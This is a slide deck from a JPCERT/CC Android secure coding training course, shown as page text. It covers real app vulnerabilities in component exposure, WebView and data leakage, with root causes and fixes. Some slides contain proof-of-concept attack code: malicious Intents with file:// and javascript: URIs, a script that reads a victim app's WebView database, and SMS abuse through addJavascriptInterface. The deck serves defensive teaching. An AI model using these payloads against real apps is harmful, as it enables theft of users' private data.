Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Android Secure Coding

6,517 views

Published on

This is a slide for our one-day Android secure coding training course.

Published in: Software
  • Hello! Get Your Professional Job-Winning Resume Here - Check our website! https://vk.cc/818RFv
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

Android Secure Coding

  1. 1. Android Secure Coding 2015-07-17 Masaki Kubo, Yozo Toda Vulnerability Analysis Team JPCERT Coordination Center
  2. 2. Copyright©2015 JPCERT/CC All rights reserved. © 2015 JPCERT Coordination Center This material is distributed by JPCERT/CC to course attendees for their own individual study. This material SHALL NOT be reproduced or used in any other manner without requesting formal permission from JPCERT/CC at secure-coding@jpcert.or.jp. THE MATERIAL IS PROVIDED ON AN “AS IS” BASIS, AND JPCERT COORDINATION CENTER DISCLAIMS ANY AND ALL WARRANTIES, IMPLIED OR OTHERWISE (INCLUDING, BUT NOT LIMITED TO, WARRANTY OF FITNESS FOR A PARTICULAR PURPOSE, RESULTS OBTAINED FROM USE OF THE MATERIAL, MERCHANTABILITY, AND/OR NON-INFRINGEMENT). 2
  3. 3. Copyright©2015 JPCERT/CC All rights reserved. Instructors Yozo Toda Lead Analysit yozo.toda@jpcert.or.jp Joined JPCERT in 2001. As a veteran analyst, Yozo is serving as a technical advisor for vulnerability handlingteam. As a secure coding evangelist, Yozo is active in training programmers, writing technical documents, translating books, presenting in conferences including JavaOne, JJUG, Open Source Conference. GSSP-C certified programmer. Yozo receivedB.Sc. in Mathematics from Tokyo Metropolitan University and M.Sc. in Computer Science fromTokyo Institute of Technology. Masaki Kubo VulnerabilityAnalysis Team Lead masaki.kubo@jpcert.or.jp Masaki is leading the vulnerability analysis team and secure coding initiative at JPCERT. He has taught over 4000 programmers in Japan and Asia-Pacific regions since 2006. Expert of ISO/IEC SC27 WG4. Visiting lecturer at National Institute of Informatics and Tokyo Denki Univ. Masaki studied at Keio University (B.A. in Environmental Information) and Dartmouth College (A.M. in Electro-acoustic Music). 3
  4. 4. Copyright©2015 JPCERT/CC All rights reserved. Timetable 4 Time Agenda 09:00 – 09:30 Part 1. Introduction 09:30 – 12:00 Part 2. Secure Coding (including short break) 12:00 – 13:00 Lunch Break 13:00 – 14:30 Part 3. Exercise: Vulnerability Analysis 14:30 – 14:45 Break 14:45 – 16:45 Part 4. Exercise: Security Code Review 16:45 – 17:00 Q & A session. Feedback. Closing Remarks.
  5. 5. Copyright©2015 JPCERT/CC All rights reserved. Goals Study Android app vulnerabilities from the real-world examples Learn secure coding techniques to avoid these vulnerabilities 5
  6. 6. Copyright©2015 JPCERT/CC All rights reserved. Audience App Developer Auditor / QA Vulnerability Researcher 6
  7. 7. Copyright©2015 JPCERT/CC All rights reserved. Vulnerability Analysis Team at JPCERT/CC Conduct root cause analysis of vulnerabilities —Reproduce, reverse engineer, analyze source, review design, etc Talk to vendors to have the vulnerability fixed Talk to developers on secure coding (C, C++, Java and Android) R&D 7
  8. 8. Copyright©2015 JPCERT/CC All rights reserved.8 Introduction Part 1 Photo by Joi Ito
  9. 9. Copyright©2015 JPCERT/CC All rights reserved. Android Users Grow in 2014 9 [Source] The Guardian(January 13, 2014) “Smartphone explosion in 2014 will see ownership in India pass US”
  10. 10. Copyright©2015 JPCERT/CC All rights reserved. Android Security on News Headlines 10 http://securityintelligence.com/mobile-malware-threats-in-2015-fraudsters-are-still-two-steps-ahead/ http://securityintelligence.com/mazeltov-more-android-malware-coming-to-a-mobile-device-near-you/#.Vac5BBNCrfA
  11. 11. Copyright©2015 JPCERT/CC All rights reserved. Android Security on News Headlines 11 http://www.pcworld.com/article/2099421/report-malwareinfected-android-apps-spike-in-the-google-play-store.html http://www.cnet.com/how-to/malware-authors-target-android-phones/
  12. 12. Copyright©2015 JPCERT/CC All rights reserved. Categorization of Android App Security Issues 12 Viruses (Malicious Apps) Potentially Unwanted Apps Vulnerable Apps Research  on  Android  App  Vulnerabilities,  Oct.  2013 http://www.sonydna.com/sdna/solution/android_̲vulnerability_̲report_̲201310.pdf
  13. 13. Copyright©2015 JPCERT/CC All rights reserved. Categorization of Android App Security Issues 13 Viruses (MaliciousApps) Potentially Unwanted Apps Vulnerable Apps Not much developers can do with Yes, this is our concern. The responsibility is on App developers.
  14. 14. Copyright©2015 JPCERT/CC All rights reserved. Easily  Mitigated Virus (Malicious Apps) Potentially Unwanted Apps Vulnerable Apps Category PotentialImpact Countermeasures Distribute virus-infected apps to end users Scan apps with Anti-Virus before releasing them Distribute annoying apps to end users, bringing bad corporate reputation Change the design so that it will not collectuser’s sensitive data unnecessarily. Prepare and publish privacy policy of the app. End  usersʼ’  privacy get   compromised.  Damages   corporation  reputation  as  well. App developers need to design apps secure and code securely. Impact and Countermeasures 14 Challenging
  15. 15. Copyright©2015 JPCERT/CC All rights reserved. Secure Android App Development 15 Scan  with Anti-‐‑‒Virus   before  releasing  apps Design not to annoy endusers The focus of this course Virus (Malicious Apps) Potentially Unwanted Apps Vulnerable Apps
  16. 16. Copyright©2015 JPCERT/CC All rights reserved. Android App Vulnerabilities Reported in Japan 16 http://www.ipa.go.jp/security/vuln/report/JVNiPedia2012q3.html The year of Vulnerable App Explosion of private report in 2012 Apps # The number of Android OS software vulnerability reported by the year
  17. 17. Copyright©2015 JPCERT/CC All rights reserved. Survey of Android App Vulnerabilities 17 Survey of Vulnerabilities in Android Apps 2013 http://www.sonydna.com/sdna/solution/android_vulnerability_report_201310.pdf 96% of  the  Apps  in  the  market  are  vulnerable Vulnerable Almost all the android apps contain some vulnerability
  18. 18. Copyright©2015 JPCERT/CC All rights reserved. The Same Mistakes are Repeated Same easy mistakes are repeated —File permissions —Logging —Exported settings All the app developer should have: —Android specific security model —Secure coding best pracitce 18 http://www.ipa.go.jp/about/technicalwatch/pdf/120613 report.pdf component file Improper Access Controlothers Android app vulnerabilities reported to IPA Vulnerability Trend
  19. 19. Copyright©2015 JPCERT/CC All rights reserved. Android App Vuls JPCERT has coordinated 19 Etc. Advisories  Published:    over  50  Apps Under  Coordination:  200  Apps Developers have been cooperative and responsive for most of the cases Developers have been cooperative and responsive for most of the cases
  20. 20. Copyright©2015 JPCERT/CC All rights reserved. Vulnerability Categories 20 App Component Exposure 1. Unintended Activity Exposure 2. Local Server Accessible from Other Apps 3. Unintended Content Provider Exposure WebView 4. File scheme 5. addJavascriptInterface 6. Location Bar Spoofing 7. JavaScript execution context App Data Leakage 8. Broadcasting sensitive information 9. Loging sensitive information 10. Storing sensitive data in SD card 11. Improper File Permissions HTML 5 12. Geolocation API and Privacy Concern ‘Classic’ Errors 13. Cryptographic Issues 14. Path traversal 15. Unsafe Decompression of Zip Files 16. Improper Certificate Verification
  21. 21. Copyright©2015 JPCERT/CC All rights reserved. ‘Bugs’ and ‘Vulnerabilities’ 21 Traditional Bug Vulnerability Intended Behavior Actual Behavior Whittaker and Thompson, 2003 Secure software does what it is supposed to do and doesn’t do what is not expected to do. Secure software does what it is supposed to do and doesn’t do what is not expected to do.
  22. 22. Copyright©2015 JPCERT/CC All rights reserved. Secure Coding 22 Coding Errors Flaws, Bugs, Defects Vulnerabilities Root Cause Small set of patterns Secure coding patterns
  23. 23. Copyright©2015 JPCERT/CC All rights reserved. Android App Vulnerabilities In Part 2, we will look at each real world vulnerabilities and discuss: ► Nature of the vulnerability ► Root cause ► How to fix the vulnerability ► References 23
  24. 24. Copyright©2015 JPCERT/CC All rights reserved. Reference for a Developer Android Application Secure Design / Secure Coding Guidebook by JSSEC — http://www.jssec.org/dl/android_securecoding_en.pdf 24 Updated in June 1st, 2015. Intended to be copied and pasted for commercialuse. Sample code is under Apache License version 2.0.
  25. 25. Copyright©2015 JPCERT/CC All rights reserved. Reference for a Developer www.droidsec.org —One of the most exhaustive list of materials related to Android security Whitepapers Tools Exploits Crack-Me Books Miscellaneous stuffs 25
  26. 26. Copyright©2015 JPCERT/CC All rights reserved.26 Secure Coding Part 2 Photo by Breyten Ernsting
  27. 27. Copyright©2015 JPCERT/CC All rights reserved.27 App Component Exposure 1.Unintended Activity Exposure 2.Local Server Accessible from Other Apps 3.Unintended Content Provider Exposure
  28. 28. Copyright©2015 JPCERT/CC All rights reserved.28 Unintended Activity Exposure CASE #1
  29. 29. Copyright©2015 JPCERT/CC All rights reserved. 3rd Party Twitter Client Improper Access Control to its Components 29 Allows other application with no network access permissions to upload pictures 3rd party Twitter client for Android with picture uploading capability Malicious app could impersonate the user to tweet https://play.google.com/store/apps/details?id=jp.r246.twicca http://jvn.jp/en/jp/JVN31860555/
  30. 30. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenario – Private Data Disclosure 30 malware Twitter 1. Malware generates the URL for a picture in local storage (file://...) 2. Malware starts the picture- uploading activity by passing the URL 3. The vulnerable app tweets with the specified picture Private  data disclosure Personal information is now made publicfile://sdcard/…/my-privacy.jpg
  31. 31. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenario – Impersonation 31 malware Twitter 1. Malware generates the URL for a malicious picture (file://...) 2. Malware starts the picture- uploading activity by passing the URL 3. The vulnerable app tweets with the specified picture Malicious picture is tweeted from the user’s twitter account file://mal/malpic.jpg impersonation 悪 悪 悪 悪
  32. 32. Copyright©2015 JPCERT/CC All rights reserved. Root Cause 32 malware Startingthe picture uploading activity Intent • Picture-uploading activity was intended to be used internally • However the activity was exported (accessible from other apps)! • Other apps could send intents (request actions) to this activity Activity is exported
  33. 33. Copyright©2015 JPCERT/CC All rights reserved. Solution 33 malware Declare the activity private explicitly by android:exported=“false” Declared as a private activity ... <activity android:name=".PicUploadActivity" ... android:exported="false" /> ... AndroidManifest.xml
  34. 34. Copyright©2015 JPCERT/CC All rights reserved. JSSEC Secure Coding Guidebook 34 4.1.1.1. Creating/UsingPrivate Activities Guideline to define privately used Activity sample manifest Sample java code Seucre coding points android:exported="false " Sample app that demonstratedthe implementation of secure coding points
  35. 35. Copyright©2015 JPCERT/CC All rights reserved. How the App was Fixed 35 … public  void  onCreate(Bundle  arg5)  { super.onCreate(arg5); ... ComponentName v0  =  this.getCallingActivity(); if  (v0  ==  null)  { this.finish(); } else  if  (!“jp.r246.twicca”.equals(v0.getPackageName()))  { this.finish(); } else  { //  code for uploading pictures … } } The added code checks if the package name of the calling code is the same as its own package name. this check was added The more appropriate fix is “exported  =  false”.
  36. 36. Copyright©2015 JPCERT/CC All rights reserved.36 Local Web Server Accessible from Other Apps CASE #2
  37. 37. Copyright©2015 JPCERT/CC All rights reserved. About the App ES File Explorer File Manager —com.estrongs.android.pop Feature — File and application manager Vulnerability —Files store in the external media became accessible over the network 37
  38. 38. Copyright©2015 JPCERT/CC All rights reserved. HTTP Server Started in the App When you play music files or videos using this app, the app starts the HTTP Server in device which is remotely accessible 38
  39. 39. Copyright©2015 JPCERT/CC All rights reserved. Unrestricted Access The HTTP Server allowed unrestricted access By accessing the HTTP Server remotely, a list of files on the external media could be seen —Attackers can download those files 39
  40. 40. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenarios Conditions —An attacker can only exploit the vulnerability when media files are played by the user of the app Scenarios —The user must be forced to play media files somehow —An attacker needs to obtain the IP address of the device —The device need to be remotely accessible 40 could be difficult to attack
  41. 41. Copyright©2015 JPCERT/CC All rights reserved. Solution Limit the accessibility to the local server —user authentication by user id / password —IP address restrictions Things to Consider —Any other apps need to access the local server ? —Do you really need to launch a local web server ? 41
  42. 42. Copyright©2015 JPCERT/CC All rights reserved.42 Unintended Content Provider Exposure CASE #3
  43. 43. Copyright©2015 JPCERT/CC All rights reserved. Content Provider mechanism to share data between applications makes it easy to implement reading/writing data —don't need to worry about locking/exclusive access control 43
  44. 44. Copyright©2015 JPCERT/CC All rights reserved. Case Vulnerable app (has not been fixed yet) Feature —A day planner app for Android. The integration of the TODO and Note memos allows linkage of the scheduled plan with its corresponding information. Vulnerability —The Content Provider was made public. Other apps could access the application data via Content Provider of the app. 44
  45. 45. Copyright©2015 JPCERT/CC All rights reserved. Intention of the Developer Designed the ContentProvider accessible from any apps to share application data 45 App A by the same developer Vulnerable App ContentProviderContentProvider READ/WRITEREAD/WRITE DatabaseDatabase App B by the same developer
  46. 46. Copyright©2015 JPCERT/CC All rights reserved. Cannot Block Malicious Apps Malicious apps can also access application data through the Content Provider 46 Malicious App retrieve/manipulateretrieve/manipulate Vulnerable App ContentProviderContentProvider READ/WRITEREAD/WRITE datadata
  47. 47. Copyright©2015 JPCERT/CC All rights reserved. Details The ContentProvider was designed to be used internally as well as externally Intended to be used by other apps developed by the same company 47 Vulnerable  App ContentProviderContentProvider DatabaseDatabase Calendar   Activity Calendar   Activity Memo Activity Memo Activity Photo  Memo Activity Photo  Memo Activity Voice Memo Activity Voice Memo Activity TODO Activity TODO Activity Direct  DB   Access Direct  DB   Access App A the same developer Malicious  App No  Access   Restriction Any  App  can   Access No  Access   Restriction Any  App  can   Access
  48. 48. Copyright©2015 JPCERT/CC All rights reserved. Data Access/Manipulation What can attacker do ? Note memos, photos, TODO, Voice memos —Retrieve and manipulate application data 48 final  String  CONTENT_URI  =  "content://jp.co.XXXX.XXXXXX"; ContentValues values  =  new  ContentValues(); values.put("filename",  "/data/data/jp.co.XXXX.XXXXXX/databases/xxx"); values.put("titlename",  "hogehoge"); getContentResolver().insert(Uri.parse(CONTENT_URI  +  "/textmemo"),  values); Ex.  Malicious  code  to  add  data  to  a  memo
  49. 49. Copyright©2015 JPCERT/CC All rights reserved. To Share Data Consider: Range of the apps that you want to share data with —unspecified large number of apps? —apps that have the same signature? —apps that have a specific permission? Contents of the data —Safe data to be shared with other apps? What do you want to allow? —Only allow retrieving the data? —Or allow to add, edit or delete data as well? 49
  50. 50. Copyright©2015 JPCERT/CC All rights reserved. To Share Data #1 Share data with any apps (unlimited) A ContentProvider used to be made public to other apps by default (before API17) After Android 4.2 (API17), a ContentProvider is private unless you explicitly make it public —To make it private, set android:minSdkVersion and android:targetSdkVersion to 17 or later 50 <provider   android:name="SampleContentProvider" android:authorities=“com.example.app.Provider” android:exported="true"   /> AndroidManifest.xml
  51. 51. Copyright©2015 JPCERT/CC All rights reserved. To Share Data #2 Share with apps that have the same signature 51 <provider  android:name="SampleContentProvider" android:authorities="com.example.app.Provider" android:permission="com.example.app.permission.Provider"  /> <permission  android:protectionLevel="signature" android:name="com.example.app.permission.Provider"> </permission> AndroidManifest.xml
  52. 52. Copyright©2015 JPCERT/CC All rights reserved. To Share Data #3 Share with apps that have a specific permission 52 <provider  android:name=“RssContentProvider" android:authorities="com.example.app.Provider" android:permission="com.example.app.permission.Provider"  /> <permission  android:name="com.example.app.permission.Provider"  /> AndroidManifest.xml The above example defines singleread-write provider-levelpermission.
  53. 53. Copyright©2015 JPCERT/CC All rights reserved. Don’t Want to Share Data Consider: Is it necessary to use a ContentProvider? —If not, don’t Make your ContentProvider private —by specifying "android:exported=false" attribute in the manifest file 53
  54. 54. Copyright©2015 JPCERT/CC All rights reserved. Don’t Want to Share Data #1 Don’t use ContentProvider Use SQLiteDatabase class or SQLiteOpenHelper class —So that other apps cannot access the database 54 SQLiteDatabase  db  =  SQLiteDatabase.openOrCreateDatabase( new  File( "/data/data/"  +  getContext().getPackageName()  +  "/databases/", DATABASE),  null); long  id  =  db.insert("items",  null,  values); db.close();
  55. 55. Copyright©2015 JPCERT/CC All rights reserved. Don’t Want to Share Data #2 Make ContentProvider private Specify "android:exported" attribute in the manifest —However, in Android 2.2(API8) or before, even if you explicitly declare "android:exported=false",your Content Provider is accessible from other apps 55 <provider  android:name="SampleContentProvider" android:authorities=“com.example.app.Provider” android:exported="false"  />
  56. 56. Copyright©2015 JPCERT/CC All rights reserved. JSSEC Secure Coding Guidebook 56 Flowchartthat guides you to choose the appropriate type of contentprovider
  57. 57. Copyright©2015 JPCERT/CC All rights reserved. Summary Really need to use ContentProvider ? —If you don’t need to share data between apps DO NOT USE Content Provider Connect directly to the database —If you need to share data between apps Do not include sensitive information Limit the apps that can connect to your ContentProvider 57
  58. 58. Copyright©2015 JPCERT/CC All rights reserved.58 WebView 4. File Scheme 5. addJavascriptInterface 6. Location Bar Spoofing 7. JavaScript Execution Context
  59. 59. Copyright©2015 JPCERT/CC All rights reserved.59 File Scheme CASE #4
  60. 60. Copyright©2015 JPCERT/CC All rights reserved. Case Yahoo! Japan Browser / Sleipnir Mobile Feature —Web Browser apps Vulnerability —WebView with JavaScript enabled —WebView processes any URI passed through Intents without any validation The URI may point to an attacker’s HTML file with javascript 60
  61. 61. Copyright©2015 JPCERT/CC All rights reserved. Typical Code (vulnerable) public  class  MyBrowser extends  Activity  { @override public  void  onCreate(Bundle  savedInstanceState)  { super.onCreate(savedInstanceState); setContentView(R.layout.main); WebView  webView =  (WebView)  findViewById(R.id.webview); //  turn  on  javascript WebSettings settings  =  webView.getSettings(); settings.setJavaScriptEnabled(true);                                 String  turl =  getIntent().getStringExtra(“URL”); webView.loadUrl(turl); } } 61 This activity could receive an Intent that may contain malicious data Is it safe to processes any given URI ?
  62. 62. Copyright©2015 JPCERT/CC All rights reserved. Activity that Implements WebView 62 アプリB IntentURL This Vulnerability is often seen in the apps that implement the WebView App A DB ・cookie ・cache WebView public Activitypublic Activity ・JavaScriptenabled ・any URI processed ・JavaScriptenabled ・any URI processed
  63. 63. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenario 63 Vulnerable App DB ・cookie ・cache WebView public Activitypublic Activity ・Javascriptenabled ・any URI processed ・Javascriptenabled ・any URI processed cookie cache Malicious App Intent Attacker prepares a crafted HTML file Attacker's Server
  64. 64. Copyright©2015 JPCERT/CC All rights reserved. Malicious app send an Intent 64 Vuln app DB ・cookie ・cache WebView Activity  publicActivity  public ・enabled  Javascript ・any  URI  passed ・enabled  Javascript ・any  URI  passed cookie cache Attacker  supplied HTML/Javascript Attacker's   Server Malicious app Intent String  pkg =  "jp.vulnerable.android.app"; String  cls =  pkg +  ".DummyLauncherActivity"; String  uri =  "file:///[Exploit  html  file]"; Intent  intent  =  new  Intent(); intent.setClassName(pkg,  cls); intent.putExtra("url",  uri); this.startActivity(intent);
  65. 65. Copyright©2015 JPCERT/CC All rights reserved. Malicious app send an Intent 65 Vuln app DB ・cookie ・cache WebView Activity  publicActivity  public ・enabled  Javascript ・any  URI  passed ・enabled  Javascript ・any  URI  passed cookie cache Attacker  supplied HTML/Javascript Attacker's   Server Malicious  app Intent String  pkg =  "jp.vulnerable.android.app"; String  cls =  pkg +  ".DummyLauncherActivity"; String  uri =  "file:///[Exploit  html  file]"; Intent  intent  =  new  Intent(); intent.setClassName(pkg,  cls); intent.putExtra("url",  uri); this.startActivity(intent); … String  turl =  getIntent().getStringExtra("url"); webView.loadUrl(turl);
  66. 66. Copyright©2015 JPCERT/CC All rights reserved. Open an exploit html file 66 Vuln app DB ・cookie ・cache WebView Activity  publicActivity  public ・enabled  Javascript ・any  URI  passed ・enabled  Javascript ・any  URI  passed cookie cache Attacker's   Server Malicious  app Intent … String  turl =  getIntent().getStringExtra("url"); webView.loadUrl(turl); Attacker  prepares some  crafted  HTML  file
  67. 67. Copyright©2015 JPCERT/CC All rights reserved. Open an exploit html file 67 Vuln app DB ・cookie ・cache WebView Activity  publicActivity  public ・enabled  Javascript ・any  URI  passed ・enabled  Javascript ・any  URI  passed cookie cache Attacker's   Server Malicious app Intent Attacker prepares a crafted HTML file <script> var target  =  "file:///data/data/jp.vulnerable.android.app/databases/webview.db"; var xhr =  new  XMLHttpRequest(); xhr.overrideMimeType("text/plain;  charset=iso-­‐8859-­‐1"); xhr.open("GET",  target,  true); xhr.onreadystatechange =  function()  { var data  =  xhr.responseText; ... Any  resource  of  the  vulnerable   appʼ’s  could  be  stolen
  68. 68. Copyright©2015 JPCERT/CC All rights reserved. Conditions to be Vulnerable WebView is implemented. JavaScript is enabled Activity is public, and it receives any URI from Intent file scheme is enabled 68 User’s private data in the app may be stolen
  69. 69. Copyright©2015 JPCERT/CC All rights reserved. Solution Validate the URI received via Intent to decline file scheme —do not load the page, disable JavaScript 69 String intentUrl = getIntent().getStringExtra(”url") String loadUrl = "about:blank"; if (!intentUrl.startsWith("file:")) { loadUrl = intentUrl; } Do  not  load  the  page String intentUrl = getIntent().getStringExtra(”url”) wSettings.setJavaScriptEnabled(false); if (!intentUrl.startsWith("file:")) { wSettings.setJavaScriptEnabled(true); } Disable  JavaScript
  70. 70. Copyright©2015 JPCERT/CC All rights reserved. Android 4.1 or later 70 New methods are added: —WebSettings#setAllowFileAccessFromFileURLs —WebSettings#setAllowUniversalAccessFromFileURLs http://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccessFromFileURLs(boolean)
  71. 71. Copyright©2015 JPCERT/CC All rights reserved. JSSEC Secure Coding Guidebook 71
  72. 72. Copyright©2015 JPCERT/CC All rights reserved.72 addJavascriptInterface CASE #5
  73. 73. Copyright©2015 JPCERT/CC All rights reserved. Case Cybozu KUNAI —http://products.cybozu.co.jp/kunai/ Feature —Client app to access corporate groupware Vulnerability —Contained a vulnerability that allows addJavascriptInterface to be exploited —When opening a specially crafted website, an attacker could execute an arbitrary Java method 73
  74. 74. Copyright©2015 JPCERT/CC All rights reserved. addJavascriptInterface WebView#addJavascriptInterface —Binds the supplied Java object into the WebView —Allows the Java object's methods to be accessed from JavaScript 74 http://developer.android.com/reference/android/webkit/WebView.html webView.addJavascriptInterface(new  Object(),  "injectedObject"); webView.loadData("",  "text/html",  null); webView.loadUrl("javascript:alert(injectedObject.toString())"); can be called by the global variable “injectedObject”
  75. 75. Copyright©2015 JPCERT/CC All rights reserved. Notes on addJavascriptInterface Allows an app to be manipulated through Javascript Should not process untrusted content Should only process trusted content! 75 http://developer.android.com/guide/webapps/webview.html
  76. 76. Copyright©2015 JPCERT/CC All rights reserved. Example: Access the Java method from Javascript 76 @Override public void onCreate(Bundle  savedInstanceState)  { super.onCreate(savedInstanceState); setContentView(R.layout.demo); context  =  this.getApplicationContext(); webView  =  (WebView)  findViewById(R.id.demoWebView); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new SmsJSInterface(this), "smsJSInterface"); GetSomeInfo  getInfo  =  new GetSomeInfo(); getInfo.execute(null,  null); } <script> smsJSInterface.sendSMS('0123456789',  'hogehoge’) </script> public class SmsJSInterface  implements Cloneable { Context  mContext; public SmsJSInterface(Context  context)  { mContext =  context; } public void sendSMS(String  phoneNumber, String  message)  { SmsManager sms =  SmsManager.getDefault(); sms.sendTextMessage(phoneNumber,  null, message,  null,  null); }
  77. 77. Copyright©2015 JPCERT/CC All rights reserved. Example: Access to the Java method from Javascript 77 @Override public void onCreate(Bundle  savedInstanceState)  { super.onCreate(savedInstanceState); setContentView(R.layout.demo); context  =  this.getApplicationContext(); webView  =  (WebView)  findViewById(R.id.demoWebView); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new SmsJSInterface(this), "smsJSInterface"); GetSomeInfo  getInfo  =  new GetSomeInfo(); getInfo.execute(null,  null); } <script> smsJSInterface.sendSMS('0123456789',  'hogehoge'); </script> public class SmsJSInterface  implements Cloneable { Context  mContext; public SmsJSInterface(Context  context)  { mContext =  context; } public void sendSMS(String  phoneNumber, String  message)  { SmsManager sms =  SmsManager.getDefault(); sms.sendTextMessage(phoneNumber,  null, message,  null,  null); } Bind the SmsJSInterface object to WebView access from Javascript send to SMS
  78. 78. Copyright©2015 JPCERT/CC All rights reserved. Conditions to be vulnerable WebView is implemented. Javascript is enabled Java objects is registered through addJavascriptInterface() Vulnerable WebView receives input (javascript) from untrusted source 78
  79. 79. Copyright©2015 JPCERT/CC All rights reserved. Reference: risk of addJavascriptInterface 79 By using reflection — An attacker can obtain Context through Javascript —Even more! —Runtime.exec() to do anything under the app’s priviledge MWR InfoSecurity WebView addJavascriptInterface Remote Code Execution https://labs.mwrinfosecurity.com/blog/2013/09/24/webview-addjavascriptinterface-remote-code-execution/
  80. 80. Copyright©2015 JPCERT/CC All rights reserved. Summary 80 Design so that you don’t need addJavascriptInterface If you need to use… —Use only trusted content NEVER USE WebView#addJavascriptInterface
  81. 81. Copyright©2015 JPCERT/CC All rights reserved. Android 4.2 (API17) and later 81 class JsObject { @JavascriptInterface public String  toString()  {   return  "injectedObject";   } } webView.addJavascriptInterface(new JsObject(),  "injectedObject"); webView.loadData("",  "text/html",  null);   webView.loadUrl("javascript:alert(injectedObject.toString())"); Only public methods annotated with "JavascriptInterface" can be accessed from Javascript http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object,   java.lang.String)
  82. 82. Copyright©2015 JPCERT/CC All rights reserved. JSSEC Secure Coding Guidebook 82
  83. 83. Copyright©2015 JPCERT/CC All rights reserved.83 Location Bar Spoofing CASE #6
  84. 84. Copyright©2015 JPCERT/CC All rights reserved. An attacker may display a different URL than that of page contents https://play.google.com/store/apps/details?id=jp.co.yahoo.android.ybrowser https://jvn.jp/en/jp/JVN55074201/ Could be abused for phishing… Location Bar Spoofing Vulnerability in Android Web Browsers 84
  85. 85. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenario – Phishing 85 “Yahoo! Browser” contains a flaw in displaying URL, which allows the location bar to be spoofed. A user access a malicious page, www.example.jp User The server responds with the requested contents The location bar shows a URL which looks different from the site beingaccessed
  86. 86. Copyright©2015 JPCERT/CC All rights reserved. How the Flaw Could Be Exploited 86 “Yahoo! Browser” contains a flaw in displaying URL, which allows the address bar to be spoofed. A user access a malicious page on www.example.jp User The server responds with the requested contents The location bar shows a URL which is different from the site beingaccessed <script> function  spoof(){ var w  =  window.open(the   URL to spoof) w.document.write(contents to be displayed) } </script>
  87. 87. Copyright©2015 JPCERT/CC All rights reserved. The behavior of the Vulnerable App 87 Attack  Scenario  – Phishing  -‐‑‒ “Yahoo! Browser” contains an issue in displaying URL, which may result in the address bar being spoofed. A user access a malicious page on www.example.jp User responds with the requested contents The addressbarshows some URL different from the actual contents <script> function spoof(){ var w = window.open(URL of Trusted Site) w.document.write(actual contents) } </script> <script> function  spoof(){ var w  =  window.open(the  URL  to  spoof) w.document.write(some  contents) } </script> how is the javascript interpreted? (assumption) •Open a new browser window •Print the argument (URL) on the location bar •Terminate the loading of the URL •Writes ‘some contents’ to the window Between those two statement, location bar is not updated?
  88. 88. Copyright©2015 JPCERT/CC All rights reserved. Root Cause (assumption) 88 Location Bar Source of the content (URI) The two components failed to synchronize each other Browser window Page contents Not synchronized!
  89. 89. Copyright©2015 JPCERT/CC All rights reserved. Solution? 89 Which is the expected behavior: a. Display incorrect URL (yes spoofed!) b. Leave loation bar blank c. Ignore document.write() Which is the desirable behavior? Any alternatives?
  90. 90. Copyright©2015 JPCERT/CC All rights reserved. Solution? 90 Which is the expected behavior: a. Display incorrect URL (yes spoofed!) b. Leave loation bar is blank c. Ignore document.write() Which is the desirable behavior? Any alternatives? Pro: Better than a. to avoid the mismatch between the contents and the URL Con: user can’t determine where the contents came from
  91. 91. Copyright©2015 JPCERT/CC All rights reserved. Solution? 91 Which is the expected behavior: a. Display incorrect URL (yes spoofed!) b. Leave loation bar is blank c. Ignore document.write() Which is the desirable behavior? Any alternatives? Pro: Better than a. to avoid the mismatch between the contents and the URL Con: the behavior may be different from what the developer expects
  92. 92. Copyright©2015 JPCERT/CC All rights reserved.92 Javascript Execution Context CASE #7
  93. 93. Copyright©2015 JPCERT/CC All rights reserved. Case Opera, Sleipnir Feature —Web browser apps Problem —Javascript is executed in the context of the target site 93
  94. 94. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenarios Attacker sends multiple Intents 1. First send an Intent to display the target site 2. Then send Javascript a attacker want to be executed as another Intent Ex. 1. Send an Intent that loads www.google.com 2. Send JavaScript (show cookie) via Intent By using Javascript Scheme —javascript:alert(document.cookie) 94
  95. 95. Copyright©2015 JPCERT/CC All rights reserved. Proof of Concept 95 String  pkg =  "jp.co.aaa.bbb.ccc"; String  cls =  pkg +  ".main.IntentActivity"; Intent  intent1  =  new Intent(); intent1.setClassName(pkg,  cls); intent1.setAction("android.intent.action.VIEW"); intent1.setData(Uri.parse("http://www.google.com")); startActivity(intent1); try  { Thread.sleep(3000); }  catch  (InterruptedException e)  { e.printStackTrace(); } String  js =  "alert(document.cookie);"; Intent  intent2  =  new Intent(); intent2.setClassName(pkg,  cls); intent2.setAction("android.intent.action.VIEW"); intent2.setData(Uri.parse(js)); startActivity(intent2); Send  the  URL  of  the   target Send  JavaScript  that   an  attacker  want  to   have  it  executed
  96. 96. Copyright©2015 JPCERT/CC All rights reserved. PoC 96 String  pkg =  "jp.co.fenrir.android.sleipnir"; String  cls =  pkg +  ".main.IntentActivity"; Intent  intent1  =  new Intent(); intent1.setClassName(pkg,  cls); intent1.setAction("android.intent.action.VIEW"); intent1.setData(Uri.parse("http://www.google.com")); startActivity(intent1); try  { Thread.sleep(3000); }  catch  (InterruptedException e)  { e.printStackTrace(); } String  js =  "alert(document.cookie);"; Intent  intent2  =  new Intent(); intent2.setClassName(pkg,  cls); intent2.setAction("android.intent.action.VIEW"); intent2.setData(Uri.parse(js)); startActivity(intent2); Javascript is executed in the context of www.google.com
  97. 97. Copyright©2015 JPCERT/CC All rights reserved. Solution 97 Verify if you received a URI in the Intent —Do not accept JavaScript Scheme The app has been fixed already —However, code is obfuscated —We couldn't confirm how it was fixed
  98. 98. Copyright©2015 JPCERT/CC All rights reserved.98 App Data Leakage 8.Broadcasting sensitive information 9.Loging sensitive information 10.Storing sensitive data in SD card 11.Improper File Permissions
  99. 99. Copyright©2015 JPCERT/CC All rights reserved.99 Broadcasting Sensitive Information CASE #8
